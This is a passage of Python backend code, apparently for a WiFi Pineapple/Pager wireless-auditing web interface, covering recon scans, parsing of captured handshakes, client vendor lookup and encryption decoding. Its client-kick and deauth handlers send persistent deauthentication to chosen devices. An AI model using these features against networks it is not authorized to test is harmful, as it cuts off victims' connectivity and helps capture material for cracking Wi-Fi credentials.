except ValueError:
|
|
level = None
|
|
charging = False
|
|
st = os.path.join(power_supply, name, 'status')
|
|
if os.path.exists(st):
|
|
try:
|
|
with open(st) as f:
|
|
charging = 'Charg' in f.read()
|
|
except OSError:
|
|
charging = False
|
|
return {'level': level, 'charging': charging}
|
|
except OSError:
|
|
pass
|
|
return {'level': None, 'charging': False}
|
|
|
|
|
|
def wifi_ifaces():
|
|
"""List wifi interfaces from sysfs first so a hung `iwinfo` cannot stall clients."""
|
|
names = []
|
|
try:
|
|
for name in sorted(os.listdir('/sys/class/net')):
|
|
if name.startswith('wlan') or name.startswith('radio'):
|
|
names.append(name)
|
|
if names:
|
|
return names
|
|
except OSError:
|
|
pass
|
|
rc, out, err = device_run(['iwinfo'], timeout=8)
|
|
for line in out.splitlines():
|
|
m = re.match(r'^(\S+)\s+', line)
|
|
if m and (m.group(1).startswith('wlan') or m.group(1).startswith('radio')):
|
|
names.append(m.group(1))
|
|
return names
|
|
|
|
|
|
def wifi_iface_info(name):
|
|
rc, out, err = device_run(['iwinfo', name, 'info'])
|
|
info = {'iface': name}
|
|
for line in out.splitlines():
|
|
m = re.search(r'ESSID:\s*"([^"]*)"', line)
|
|
if m:
|
|
info['ssid'] = m.group(1)
|
|
m = re.search(r'Mode:\s*(\S+)', line)
|
|
if m:
|
|
info['mode'] = m.group(1)
|
|
m = re.search(r'Channel:\s*(\d+)', line)
|
|
if m:
|
|
info['channel'] = int(m.group(1))
|
|
m = re.search(r'Link Quality:\s*(\d+)/(\d+)', line)
|
|
if m:
|
|
info['quality'] = {'signal': int(m.group(1)), 'max': int(m.group(2))}
|
|
return info
|
|
|
|
|
|
MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')
|
|
|
|
|
|
def normalize_mac(mac):
|
|
mac = (mac or '').strip().upper()
|
|
return mac if MAC_RE.match(mac) else None
|
|
|
|
|
|
def h_clients(ctx):
|
|
try:
|
|
clients = assoc_clients()
|
|
except Exception as exc:
|
|
return 200, {'clients': [], 'count': 0, 'error': str(exc)}
|
|
return 200, {'clients': clients, 'count': len(clients)}
|
|
|
|
|
|
def h_client_kick(ctx):
|
|
mac = normalize_mac((ctx.body or {}).get('mac'))
|
|
if not mac:
|
|
return 400, {'error': 'invalid mac'}
|
|
# Persistent kick: deny-filter the client so pineapd deauths every probe
|
|
# and connect, then deauth it once immediately with the full
|
|
# (bssid, target, channel) form hak5cmd requires.
|
|
try:
|
|
hak5('PINEAPPLE_DEVICE_FILTER_MODE', 'deny')
|
|
hak5('PINEAPPLE_DEVICE_FILTER_ADD', 'deny', mac)
|
|
except RuntimeError as exc:
|
|
return 502, {'error': 'kick filter failed', 'detail': str(exc)}
|
|
ok, detail = _deauth_client_via_iface(mac)
|
|
return 200, {'ok': True, 'deauth': ok, 'detail': detail or None}
|
|
|
|
|
|
def h_deauth_client(ctx):
|
|
mac = normalize_mac((ctx.body or {}).get('mac'))
|
|
if not mac:
|
|
return 400, {'error': 'invalid mac'}
|
|
ok, detail = _deauth_client_via_iface(mac)
|
|
if not ok:
|
|
return 502, {'error': 'deauth failed', 'detail': detail}
|
|
return 200, {'ok': True}
|
|
|
|
|
|
SQLITE_BUSY_MSGS = ('database is locked', 'database is busy')
|
|
|
|
|
|
def _db_rows(db, sql, _retries=1, timeout=20):
|
|
if sqlite3 is not None:
|
|
try:
|
|
conn = sqlite3.connect('file:%s?mode=ro' % db, uri=True)
|
|
try:
|
|
cur = conn.execute(sql)
|
|
cols = [d[0] for d in cur.description]
|
|
return [dict(zip(cols, row)) for row in cur.fetchall()]
|
|
finally:
|
|
conn.close()
|
|
except sqlite3.Error as exc:
|
|
raise RuntimeError('sqlite read failed: %s' % exc)
|
|
rc, out, err = device_run([SQLITE_CLI, '-json', '-cmd', '.timeout 500', db, sql],
|
|
timeout=timeout)
|
|
attempt = 1
|
|
while rc != 0 and any(m in (err or '') for m in SQLITE_BUSY_MSGS) and attempt < _retries:
|
|
time.sleep(0.3)
|
|
rc, out, err = device_run([SQLITE_CLI, '-json', '-cmd', '.timeout 500', db, sql],
|
|
timeout=timeout)
|
|
attempt += 1
|
|
st = _recon_scan_state
|
|
elapsed = time.time() - st['started'] if st['started'] else 0
|
|
completed_here = st['duration'] > 0 and elapsed >= st['duration'] + 2
|
|
if (rc != 0 and any(m in (err or '') for m in SQLITE_BUSY_MSGS)
|
|
and db == RECON_DB and (not st['active'] or completed_here)):
|
|
# Pager firmware leaves a stale exclusive lock after native completion.
|
|
# The file is stable by this point, so bypass that stale lock read-only.
|
|
immutable_db = 'file:%s?immutable=1' % db
|
|
rc, out, err = device_run(
|
|
[SQLITE_CLI, '-json', immutable_db, sql], timeout=timeout)
|
|
if rc != 0:
|
|
raise RuntimeError('sqlite read failed: %s' % (err or out).strip())
|
|
if out.strip():
|
|
return json.loads(out)
|
|
return []
|
|
|
|
|
|
def fmt_mac(raw):
|
|
"""AE77C0EB3141 -> AE:77:C0:EB:31:41; anything else passes through (None/'' -> '--')."""
|
|
raw = (raw or '').strip()
|
|
if len(raw) == 12 and all(c in '0123456789ABCDEFabcdef' for c in raw):
|
|
return ':'.join(raw[i:i + 2] for i in range(0, 12, 2))
|
|
return raw or '--'
|
|
|
|
|
|
def decode_ssid(raw):
|
|
if raw is None:
|
|
return ''
|
|
if isinstance(raw, str):
|
|
if '\\x' in raw:
|
|
out = bytearray()
|
|
i = 0
|
|
n = len(raw)
|
|
while i < n:
|
|
if (raw[i] == '\\' and i + 3 < n and raw[i + 1] == 'x'
|
|
and all(c in '0123456789abcdefABCDEF' for c in raw[i + 2:i + 4])):
|
|
out.append(int(raw[i + 2:i + 4], 16))
|
|
i += 4
|
|
else:
|
|
out.extend(raw[i].encode('utf-8', 'replace'))
|
|
i += 1
|
|
raw = bytes(out)
|
|
else:
|
|
return raw
|
|
try:
|
|
return raw.decode('utf-8', 'replace')
|
|
except Exception:
|
|
return raw.decode('latin-1', 'replace')
|
|
|
|
|
|
ENC_WEP = 0x01 | 0x02
|
|
ENC_TKIP = 0x04
|
|
ENC_CCMP = 0x08
|
|
ENC_GCMP = 0x20
|
|
ENC_GCMP256 = 0x80
|
|
ENC_CCMP256 = 0x100
|
|
# AKM suites ride in bits 32-47 (bit k = RSN suite selector k advertised).
|
|
ENC_AKM_EAP = 1 << (32 + 1) # 802.1X / EAP (Enterprise)
|
|
ENC_AKM_PSK = 1 << (32 + 2) # PSK
|
|
ENC_AKM_FT_EAP = 1 << (32 + 3) # FT-802.1X (Enterprise)
|
|
ENC_AKM_FT_PSK = 1 << (32 + 4) # FT-PSK
|
|
ENC_AKM_EAP_SHA256 = 1 << (32 + 5) # 802.1X-SHA256 (Enterprise)
|
|
ENC_AKM_PSK_SHA256 = 1 << (32 + 6) # PSK-SHA256
|
|
ENC_AKM_SAE = 1 << (32 + 8) # SAE (WPA3-Personal)
|
|
ENC_AKM_FT_SAE = 1 << (32 + 9) # FT-SAE
|
|
ENC_AKM_OWE = 1 << (32 + 13) # OWE
|
|
ENC_AKM_OWE_SHA192 = 1 << (32 + 14) # OWE-SHA256-192
|
|
|
|
|
|
def decode_encryption(v):
|
|
"""Pager recon.db encryption bitfield -> display string.
|
|
|
|
Low bits carry pairwise ciphers, bits 32-47 carry the advertised AKM
|
|
suites, so WPA2-PSK vs WPA2-Enterprise (and WPA3-Personal vs
|
|
WPA3-Enterprise) can be told apart.
|
|
"""
|
|
v = v or 0
|
|
if v == 0:
|
|
return 'Open'
|
|
parts = []
|
|
if v & (ENC_GCMP256 | ENC_CCMP256):
|
|
parts.append('WPA3')
|
|
if v & (ENC_CCMP | ENC_GCMP):
|
|
parts.append('WPA2')
|
|
if v & ENC_TKIP:
|
|
parts.append('WPA')
|
|
if v & ENC_WEP:
|
|
parts.append('WEP')
|
|
if not parts:
|
|
return 'Open'
|
|
if v & (ENC_AKM_EAP | ENC_AKM_FT_EAP | ENC_AKM_EAP_SHA256):
|
|
parts.append('Enterprise')
|
|
elif v & (ENC_AKM_SAE | ENC_AKM_FT_SAE):
|
|
parts.append('SAE')
|
|
elif v & ENC_AKM_OWE:
|
|
parts.append('OWE')
|
|
elif v & (ENC_AKM_PSK | ENC_AKM_FT_PSK | ENC_AKM_PSK_SHA256):
|
|
parts.append('PSK')
|
|
return ' '.join(parts) if parts else 'Open'
|
|
|
|
|
|
# Compact OUI -> vendor table (24-bit prefix, hex without colons). Covers the
|
|
# vendors most commonly seen in the field; everything else resolves to
|
|
# 'Unknown'. Locally administered MACs resolve to 'Local'.
|
|
OUI_VENDORS = {
|
|
'00000C': 'Cisco', '000393': 'Apple', '000625': 'Linksys', '000C42': 'MikroTik',
|
|
'000DB9': 'Intel', '001376': 'MikroTik', '0016CB': 'Apple', '0017F2': 'Apple',
|
|
'001BFC': 'ASUS', '001E10': 'Huawei', '0025C7': 'Apple', '00500B': 'HP',
|
|
'0050F2': 'Micro-Star', '00606E': 'Xerox', '00A0C9': 'Intel', '00C0CA': 'Xerox',
|
|
'040CCE': 'Apple', '041854': 'Ubiquiti', '04ED33': 'Apple', '04F13E': 'Apple',
|
|
'04F938': 'Apple', '080007': 'Apple', '080028': 'Texas Instruments',
|
|
'080046': 'Sony', '083E8E': 'Apple', '089E01': 'Apple', '0C74C2': 'Apple',
|
|
'0C96BF': 'Huawei', '107BEF': 'Huawei', '10A2DC': 'Apple', '10BF48': 'Apple',
|
|
'1425BE': 'Huawei', '147A19': 'Apple', '1499E2': 'Apple', '14AC3C': 'Apple',
|
|
'14CC20': 'TP-Link', '181D86': 'Apple', '1C5C55': 'Apple', '1CE1A7': 'TP-Link',
|
|
'20010F': 'Apple', '20620B': 'Apple', '240AC4': 'Espressif', '241F4A': 'Apple',
|
|
'24A0DF': 'Apple', '24A43C': 'Ubiquiti', '24ABC0': 'Apple', '24B6FD': 'Espressif',
|
|
'247189': 'Espressif', '28CDC1': 'Raspberry Pi', '28CFE9': 'Apple',
|
|
'2C6E85': 'Apple', '2C7E81': 'Apple', '2CCF67': 'Raspberry Pi', '300C23': 'Apple',
|
|
'30720B': 'Apple', '3402E5': 'Apple', '3478D7': 'Apple', '381020': 'Apple',
|
|
'3C0754': 'Apple', '3C2177': 'TP-Link', '3C71BF': 'Espressif', '3C99F7': 'ASUS',
|
|
'3CD16E': 'Apple', '4006A0': 'Apple', '4083DE': 'Apple', '40B076': 'ASUS',
|
|
'40D3AE': 'Apple', '443212': 'Apple', '44C9A2': 'Apple', '44D9E7': 'Ubiquiti',
|
|
'48BF6B': 'Apple', '48C04E': 'Apple', '4C5E0C': 'MikroTik', '502D21': 'Apple',
|
|
'50C7BF': 'TP-Link', '54843B': 'Apple', '549392': 'ASUS', '54E43A': 'Apple',
|
|
'58B0D4': 'Apple', '586A97': 'TP-Link', '5C961D': 'Apple', '5CE1A1': 'Apple',
|
|
'603C07': 'Apple', '6083B2': 'Apple', '60D9C7': 'TP-Link', '640094': 'Apple',
|
|
'640980': 'TP-Link', '64167F': 'MikroTik', '649EF3': 'Apple', '6C0486': 'TP-Link',
|
|
'6C3B6B': 'MikroTik', '6C4008': 'Apple', '6CD68A': 'Apple', '70A2B3': 'Apple',
|
|
'742AF0': 'Apple', '748898': 'MikroTik', '74C46B': 'Apple', '782B1D': 'Apple',
|
|
'7847A6': 'Apple', '78CA39': 'Apple', '78E3B5': 'Ubiquiti', '7C0191': 'Apple',
|
|
'7CD1C3': 'Apple', '802AA8': 'Ubiquiti', '80BE05': 'Apple', '847C9B': 'Apple',
|
|
'84F3EB': 'Espressif', '88D42A': 'Apple', '8C3AF4': 'Apple', '8C7B9D': 'Apple',
|
|
'8CDEF9': 'Xiaomi', '90039F': 'Apple', '90B21F': 'Apple', '90F652': 'TP-Link',
|
|
'94099B': 'Apple', '98D6BB': 'Apple', '9CD24B': 'Ubiquiti', 'A01828': 'Apple',
|
|
'A020A6': 'Xiaomi', 'A05E6B': 'Apple', 'A07591': 'TP-Link', 'A41F72': 'Apple',
|
|
'A4B197': 'Apple', 'A4CF12': 'Espressif', 'A86484': 'Apple', 'ACBC32': 'Apple',
|
|
'B0DA00': 'Apple', 'B4E1EB': 'Apple', 'B827EB': 'Raspberry Pi',
|
|
'B8E45B': 'Raspberry Pi', 'BCA834': 'Apple', 'C03F0E': 'TP-Link',
|
|
'C04A00': 'Apple', 'C05E06': 'Apple', 'C08C60': 'Apple', 'C0E422': 'Apple',
|
|
'C45F5E': 'Espressif', 'C46516': 'Apple', 'C47D4F': 'Apple', 'C85B76': 'Apple',
|
|
'C8B5B7': 'Apple', 'C89A00': 'Apple', 'CC08E0': 'Apple', 'CC25EF': 'Apple',
|
|
'CC3D82': 'Apple', 'CCC73B': 'Apple', 'D0E140': 'Apple', 'D4154F': 'TP-Link',
|
|
'D4CA6D': 'Apple', 'D8A25E': 'Apple', 'DCA632': 'Raspberry Pi',
|
|
'DC6DCD': 'Apple', 'E03005': 'Apple', 'E45F01': 'Raspberry Pi',
|
|
'E45610': 'Apple', 'E4E4AB': 'Apple', 'E8802E': 'TP-Link', 'E8988F': 'Espressif',
|
|
'E8F2E2': 'Apple', 'EC8EB5': 'TP-Link', 'F0175E': 'Apple', 'F0D5BF': 'Apple',
|
|
'F4044C': 'Apple', 'F49BA0': 'Xiaomi', 'F4E97D': 'Apple', 'F8FFC2': 'Apple',
|
|
'FC633E': 'Google', 'FCF080': 'Apple',
|
|
}
|
|
|
|
OUI_DATA_PATHS = [
|
|
'/usr/share/nmap/nmap-mac-prefixes',
|
|
'/usr/share/macchanger/wireless.list',
|
|
]
|
|
_oui_identity_cache = None
|
|
|
|
|
|
def _oui_prefix(mac):
|
|
"""'C8:9E:43:64:80:80' / 'C89E43648080' -> 'C89E43' (uppercase, no colons)."""
|
|
mac = (mac or '').strip().upper().replace(':', '').replace('-', '').replace('.', '')
|
|
if len(mac) >= 6 and all(c in '0123456789ABCDEF' for c in mac[:6]):
|
|
return mac[:6]
|
|
return None
|
|
|
|
|
|
def oui_vendor(mac):
|
|
"""Best-effort vendor name for a MAC. Locally administered -> 'Local'."""
|
|
if not mac or mac == '--':
|
|
return 'Unknown'
|
|
prefix = _oui_prefix(mac)
|
|
if prefix is None:
|
|
return 'Unknown'
|
|
if int(prefix[1], 16) & 2: # locally administered (second hex digit bit 1)
|
|
return 'Local'
|
|
return OUI_VENDORS.get(prefix, 'Unknown')
|
|
|
|
|
|
def oui_identity(mac):
|
|
"""Resolve a MAC to a JSON-safe manufacturer identity."""
|
|
global _oui_identity_cache
|
|
prefix = _oui_prefix(mac)
|
|
if prefix is None:
|
|
return {'manufacturer': 'Unknown', 'model': None, 'oui': None,
|
|
'source': 'unknown'}
|
|
if int(prefix[1], 16) & 2:
|
|
return {'manufacturer': 'Local/Randomized', 'model': None, 'oui': prefix,
|
|
'source': 'local'}
|
|
|
|
if _oui_identity_cache is None:
|
|
_oui_identity_cache = {}
|
|
for path, source in zip(OUI_DATA_PATHS, ('nmap', 'macchanger')):
|
|
try:
|
|
with open(path, 'r') as data_file:
|
|
for line in data_file:
|
|
match = re.match(r'^\s*([0-9A-Fa-f:.-]+)\s+(.+)$', line)
|
|
if not match:
|
|
continue
|
|
line_prefix = _oui_prefix(match.group(1))
|
|
if line_prefix and line_prefix not in _oui_identity_cache:
|
|
name = match.group(2).strip()
|
|
if name:
|
|
_oui_identity_cache[line_prefix] = (name, source)
|
|
except (OSError, IOError):
|
|
continue
|
|
|
|
manufacturer, source = _oui_identity_cache.get(
|
|
prefix, (OUI_VENDORS.get(prefix, 'Unknown'),
|
|
'builtin' if prefix in OUI_VENDORS else 'unknown'))
|
|
return {'manufacturer': manufacturer, 'model': None, 'oui': prefix,
|
|
'source': source}
|
|
|
|
|
|
def band_of(freq):
|
|
"""Channel frequency (MHz) -> '2.4' | '5' | '6' | '--'."""
|
|
if freq is None:
|
|
return '--'
|
|
try:
|
|
freq = int(freq)
|
|
except (TypeError, ValueError):
|
|
return '--'
|
|
if freq <= 0:
|
|
return '--'
|
|
if freq < 2500:
|
|
return '2.4'
|
|
if freq < 6000:
|
|
return '5'
|
|
return '6'
|
|
|
|
|
|
|
|
def recon_scans_data(limit=50, _timeout=20, db=None):
|
|
if db is None:
|
|
db = RECON_DB
|
|
rows = _db_rows(db,
|
|
'WITH recent AS (SELECT id, time, name FROM scan ORDER BY id DESC LIMIT %d), '
|
|
'devices AS (SELECT scan, count(*) AS devices FROM wifi_device '
|
|
'WHERE scan IN (SELECT id FROM recent) GROUP BY scan), '
|
|
'aps AS (SELECT scan, count(*) AS aps FROM ssid '
|
|
'WHERE type = 8 AND scan IN (SELECT id FROM recent) GROUP BY scan), '
|
|
'captures AS (SELECT scan, count(*) AS handshakes FROM handshake '
|
|
'WHERE scan IN (SELECT id FROM recent) GROUP BY scan) '
|
|
'SELECT s.id, s.time, s.name, '
|
|
'COALESCE(w.devices, 0) AS devices, '
|
|
'COALESCE(a.aps, 0) AS aps, '
|
|
'COALESCE(h.handshakes, 0) AS handshakes '
|
|
'FROM recent s '
|
|
'LEFT JOIN devices w ON w.scan = s.id '
|
|
'LEFT JOIN aps a ON a.scan = s.id '
|
|
'LEFT JOIN captures h ON h.scan = s.id '
|
|
'ORDER BY s.id DESC' % limit, timeout=_timeout)
|
|
return {'scans': [{'id': r['id'], 'time': r['time'], 'name': r.get('name'),
|
|
'devices': r['devices'], 'aps': r['aps'],
|
|
'handshakes': r['handshakes']} for r in rows]}
|
|
|
|
|
|
def recon_scan_data(scan_id, _timeout=20, _limit=None, db=None):
|
|
"""Scan detail with per-AP enrichment (band/vendor/first_seen/last_seen)
|
|
plus an unassociated count.
|
|
|
|
With `_limit`, client rows are capped and the unassociated rows collapse to
|
|
a count. The live Scanning view never renders the full client list, and the
|
|
unassociated/device branches dominate query time on slow recon dbs, so the
|
|
bounded mode keeps the poll and the report downloads cheap.
|
|
"""
|
|
if db is None:
|
|
db = RECON_DB
|
|
if _limit:
|
|
sql = ("WITH dev AS (SELECT hash, time, mac, signal, freq, packets "
|
|
"FROM wifi_device WHERE scan = %d LIMIT %d) "
|
|
"SELECT 'scan' AS kind, id AS row_id, time, name, "
|
|
"NULL AS mac, NULL AS bssid, NULL AS ssid, NULL AS hidden, "
|
|
"NULL AS channel, NULL AS encryption, NULL AS signal, NULL AS freq, "
|
|
"NULL AS packets, NULL AS stahash, NULL AS aphash "
|
|
"FROM scan WHERE id = %d "
|
|
"UNION ALL SELECT 'ap', hash, time, NULL, NULL, bssid, ssid, hidden, "
|
|
"channel, encryption, signal, freq, NULL, NULL, NULL "
|
|
"FROM ssid WHERE scan = %d AND type = 8 AND bssid IS NOT NULL "
|
|
"UNION ALL SELECT 'device', hash, time, NULL, mac, NULL, NULL, NULL, "
|
|
"NULL, NULL, signal, freq, packets, NULL, NULL "
|
|
"FROM dev "
|
|
"UNION ALL SELECT 'handshake', hash, time, NULL, NULL, NULL, NULL, NULL, "
|
|
"NULL, NULL, NULL, NULL, NULL, stahash, aphash "
|
|
"FROM handshake WHERE scan = %d" % (scan_id, _limit, scan_id, scan_id, scan_id))
|
|
rows = _db_rows(db, sql, timeout=_timeout)
|
|
cnt = _db_rows(db, 'SELECT count(*) AS c FROM ssid WHERE scan = %d AND type = 4'
|
|
% scan_id, timeout=_timeout)
|
|
unassociated = cnt[0]['c'] if cnt else 0
|
|
else:
|
|
rows = _db_rows(db,
|
|
"SELECT 'scan' AS kind, id AS row_id, time, name, "
|
|
"NULL AS mac, NULL AS bssid, NULL AS ssid, NULL AS hidden, "
|
|
"NULL AS channel, NULL AS encryption, NULL AS signal, NULL AS freq, "
|
|
"NULL AS packets, NULL AS stahash, NULL AS aphash "
|
|
"FROM scan WHERE id = %d "
|
|
"UNION ALL SELECT 'ap', hash, time, NULL, NULL, bssid, ssid, hidden, "
|
|
"channel, encryption, signal, freq, NULL, NULL, NULL "
|
|
"FROM ssid WHERE scan = %d AND type = 8 AND bssid IS NOT NULL "
|
|
"UNION ALL SELECT 'unassociated', hash, time, NULL, NULL, NULL, ssid, "
|
|
"hidden, channel, encryption, signal, freq, NULL, NULL, NULL "
|
|
"FROM ssid WHERE scan = %d AND type = 4 "
|
|
"UNION ALL SELECT 'device', hash, time, NULL, mac, NULL, NULL, NULL, "
|
|
"NULL, NULL, signal, freq, packets, NULL, NULL "
|
|
"FROM wifi_device WHERE scan = %d "
|
|
"UNION ALL SELECT 'handshake', hash, time, NULL, NULL, NULL, NULL, NULL, "
|
|
"NULL, NULL, NULL, NULL, NULL, stahash, aphash "
|
|
"FROM handshake WHERE scan = %d" % (scan_id, scan_id, scan_id, scan_id, scan_id),
|
|
timeout=_timeout)
|
|
unassociated = sum(1 for r in rows if r.get('kind') == 'unassociated')
|
|
scans = [r for r in rows if r.get('kind') == 'scan']
|
|
if not scans:
|
|
return None
|
|
# Per-bssid first/last sighting across the scan's ssid rows.
|
|
seen = {}
|
|
for r in (row for row in rows if row.get('kind') == 'ap'):
|
|
mac = (r.get('bssid') or '').strip().upper()
|
|
t = r.get('time') or 0
|
|
lo, hi = seen.get(mac, (None, None))
|
|
seen[mac] = (t if lo is None else min(lo, t), t if hi is None else max(hi, t))
|
|
aps = []
|
|
ap_macs = set()
|
|
for r in (row for row in rows if row.get('kind') == 'ap'):
|
|
mac = (r.get('bssid') or '').strip().upper()
|
|
ap_macs.add(mac)
|
|
lo, hi = seen.get(mac, (None, None))
|
|
aps.append({'bssid': fmt_mac(r.get('bssid')),
|
|
'ssid': decode_ssid(r.get('ssid')),
|
|
'hidden': bool(r.get('hidden')),
|
|
'channel': r.get('channel'),
|
|
'signal': r.get('signal'),
|
|
'freq': r.get('freq'),
|
|
'encryption': decode_encryption(r.get('encryption')),
|
|
'band': band_of(r.get('freq')),
|
|
'vendor': oui_vendor(fmt_mac(r.get('bssid'))),
|
|
'device_identity': oui_identity(fmt_mac(r.get('bssid'))),
|
|
'first_seen': lo,
|
|
'last_seen': hi})
|
|
aps.sort(key=lambda row: row['signal'] if row['signal'] is not None else 0)
|
|
devices = [r for r in rows if r.get('kind') == 'device']
|
|
mac_of = {r['row_id']: fmt_mac(r.get('mac')) for r in devices}
|
|
ssid_of = {}
|
|
for r in (row for row in rows if row.get('kind') == 'ap'):
|
|
bssid = _norm_mac(r.get('bssid'))
|
|
if bssid and bssid not in ssid_of:
|
|
ssid_of[bssid] = decode_ssid(r.get('ssid'))
|
|
|
|
evidence = {}
|
|
def add_association(client_mac, ssid, bssid=None, source=None, **timestamps):
|
|
client_mac = _norm_mac(client_mac)
|
|
bssid = _norm_mac(bssid) if bssid else None
|
|
ssid = decode_ssid(ssid)
|
|
if not client_mac or not ssid or not source:
|
|
return
|
|
key = (client_mac, bssid, ssid)
|
|
association = evidence.get(key)
|
|
if association is None:
|
|
association = {'ssid': ssid, 'sources': []}
|
|
if bssid:
|
|
association['bssid'] = bssid
|
|
evidence[key] = association
|
|
if source not in association['sources']:
|
|
association['sources'].append(source)
|
|
for name, value in timestamps.items():
|
|
if value is not None:
|
|
association[name] = value
|
|
|
|
for r in (row for row in rows if row.get('kind') == 'handshake'):
|
|
client = mac_of.get(r.get('stahash'))
|
|
bssid = mac_of.get(r.get('aphash'))
|
|
add_association(client, ssid_of.get(_norm_mac(bssid)), bssid, 'handshake')
|
|
try:
|
|
hostap_rows = _db_rows(
|
|
db, 'SELECT mac, ssid, connected_time, disconnected_time '
|
|
'FROM hostap_client WHERE scan = %d ORDER BY connected_time, id' % scan_id,
|
|
timeout=_timeout)
|
|
except Exception:
|
|
hostap_rows = []
|
|
for r in hostap_rows:
|
|
add_association(r.get('mac'), r.get('ssid'), source='hostap_client',
|
|
connected_time=r.get('connected_time'),
|
|
disconnected_time=r.get('disconnected_time'))
|
|
|
|
associations_by_client = {}
|
|
for key, association in evidence.items():
|
|
associations_by_client.setdefault(key[0], []).append(association)
|
|
for ap in aps:
|
|
ap['clients'] = []
|
|
ap['client_count'] = 0
|
|
ap_by_bssid = {_norm_mac(ap['bssid']): ap for ap in aps}
|
|
clients = []
|
|
for r in sorted(devices, key=lambda row: row.get('time') or 0):
|
|
if (r.get('mac') or '').strip().upper() in ap_macs:
|
|
continue
|
|
mac = _norm_mac(r.get('mac'))
|
|
client_associations = associations_by_client.get(mac, [])
|
|
client = {'mac': fmt_mac(r.get('mac')), 'signal': r.get('signal'),
|
|
'freq': r.get('freq'), 'packets': r.get('packets'),
|
|
'vendor': oui_identity(fmt_mac(r.get('mac'))),
|
|
'associations': client_associations}
|
|
clients.append(client)
|
|
for association in client_associations:
|
|
ap = ap_by_bssid.get(_norm_mac(association.get('bssid')))
|
|
if ap is None:
|
|
continue
|
|
if not any(item['mac'] == client['mac'] for item in ap['clients']):
|
|
ap['clients'].append(client)
|
|
ap['client_count'] += 1
|
|
handshakes = []
|
|
for r in (row for row in rows if row.get('kind') == 'handshake'):
|
|
handshakes.append({'ap': mac_of.get(r.get('aphash'), '--'),
|
|
'client': mac_of.get(r.get('stahash'), '--'),
|
|
'time': r.get('time')})
|
|
# GPS attaches to live scans only: an archived scan's coordinates would
|
|
# be a current fix, which is misleading for historical data.
|
|
scan = {'id': scans[0]['row_id'], 'time': scans[0]['time'],
|
|
'name': scans[0].get('name')}
|
|
if db is None:
|
|
try:
|
|
gps = _gps_status_data()
|
|
if gps.get('lock'):
|
|
scan['gps'] = {'lat': gps.get('lat'), 'lon': gps.get('lon'),
|
|
'alt': gps.get('alt'),
|
|
'satellites': gps.get('satellites')}
|
|
except Exception:
|
|
pass
|
|
return {'scan': scan,
|
|
'aps': aps, 'clients': clients, 'handshakes': handshakes,
|
|
'unassociated': unassociated}
|
|
def h_recon_start(ctx):
|
|
with _recon_scan_lock:
|
|
return _h_recon_start_locked(ctx)
|
|
|
|
|
|
def _h_recon_start_locked(ctx):
|
|
# Serialize starts: the firmware has no abort for a timed scan, so a
|
|
# second /recon/new while one is running just stacks another empty scan
|
|
# (the 3s-apart rows we saw). Refuse instead of piling on.
|
|
scanning, remaining = _recon_scan_snapshot()
|
|
if scanning:
|
|
return 409, {
|
|
'error': 'A recon scan is already running and cannot be '
|
|
'interrupted; it will finish automatically.',
|
|
'scan_remaining': remaining,
|
|
}
|
|
scan_time = (getattr(ctx, 'body', None) or {}).get(
|
|
'scan_time', DEFAULT_RECON_DURATION)
|
|
try:
|
|
scan_time = int(scan_time)
|
|
except (TypeError, ValueError):
|
|
return 400, {'error': 'scan_time must be an integer'}
|
|
if scan_time < 1 or scan_time > 86400:
|
|
return 400, {'error': 'scan_time is out of range'}
|
|
hop_ok, hop_detail = _recon_hopper_preflight()
|
|
if not hop_ok:
|
|
return 503, {
|
|
'error': 'Could not prepare recon radios',
|
|
'detail': hop_detail,
|
|
'hint': _recon_hop_state.get('hint') or hop_detail,
|
|
'skipped': dict(_recon_hop_state.get('skipped') or {}),
|
|
}
|
|
body = {'scan_time': scan_time}
|
|
# log/recon/start restarts the recon logger and can rotate the existing
|
|
# database. recon/new is the Pager's native "start another scan" action and
|
|
# appends a scan without discarding history.
|
|
status, data = daemon_sock_call('POST', '/api/pineap/recon/new', body=body)
|
|
if status != 200 or not (data or {}).get('success'):
|
|
detail = data if isinstance(data, dict) else {}
|
|
reason = detail.get('error') or detail.get('detail')
|
|
if not reason and status == 0:
|
|
reason = 'daemon unreachable'
|
|
_reset_recon_hop_state()
|
|
return 502, {'error': 'native recon scan failed',
|
|
'detail': ('recon/new: %s' % reason) if reason else None,
|
|
'hint': 'PineAP daemon did not start the scan. Check Health / pineapd.',
|
|
'daemon': detail or None}
|
|
_recon_scan_state['active'] = True
|
|
_recon_scan_state['started'] = time.time()
|
|
_recon_scan_state['duration'] = scan_time
|
|
_start_recon_hopper(scan_time)
|
|
result = {'ok': True, 'hopping': list(_recon_hop_state.get('ifaces') or [])}
|
|
warning = _recon_hop_state.get('warning')
|
|
if warning:
|
|
result['warning'] = warning
|
|
result['skipped'] = dict(_recon_hop_state.get('skipped') or {})
|
|
result['hint'] = _recon_hop_state.get('hint')
|
|
return 200, result
|
|
|
|
|
|
def h_recon_stop(ctx):
|
|
scanning, remaining = _recon_scan_snapshot()
|
|
if scanning:
|
|
return 409, {
|
|
'error': 'Pager firmware cannot stop a recon scan safely; '
|
|
'this scan will finish automatically',
|
|
'scan_remaining': remaining,
|
|
}
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def _recon_scan_snapshot():
|
|
st = _recon_scan_state
|
|
if not st['active']:
|
|
return False, None
|
|
elapsed = time.time() - st['started']
|
|
if st['duration'] > 0 and elapsed >= st['duration']:
|
|
return False, 0
|
|
remaining = None if st['duration'] == 0 else int(st['duration'] - elapsed)
|
|
return True, remaining
|
|
|
|
|
|
def _recon_watchdog_tick():
|
|
"""Clear the UI timer when the native timed scan reaches its duration.
|
|
|
|
The Pager has no recon-stop operation. log/recon/stop controls the storage
|
|
service and leaves recon.db locked, so timed scans must end natively.
|
|
"""
|
|
st = _recon_scan_state
|
|
if st['active'] and st['duration'] > 0 and time.time() - st['started'] >= st['duration']:
|
|
st['active'] = False
|
|
try:
|
|
_restore_dummy_sta()
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def _set_monitor_channel(interface, channel):
|
|
rc, out, err = device_run(
|
|
['iw', 'dev', interface, 'set', 'channel', str(channel)], timeout=5)
|
|
if rc == 0:
|
|
return True, ''
|
|
detail = (err or out or 'command failed').strip()
|
|
return False, '%s channel %s: %s' % (interface, channel, detail[-160:])
|
|
|
|
|
|
def _iw_error_kind(detail):
|
|
text = (detail or '').lower()
|
|
if 'busy' in text or '(-16)' in text:
|
|
return 'busy'
|
|
if 'no such device' in text or 'no such file' in text:
|
|
return 'missing'
|
|
if 'network is down' in text or 'not running' in text:
|
|
return 'down'
|
|
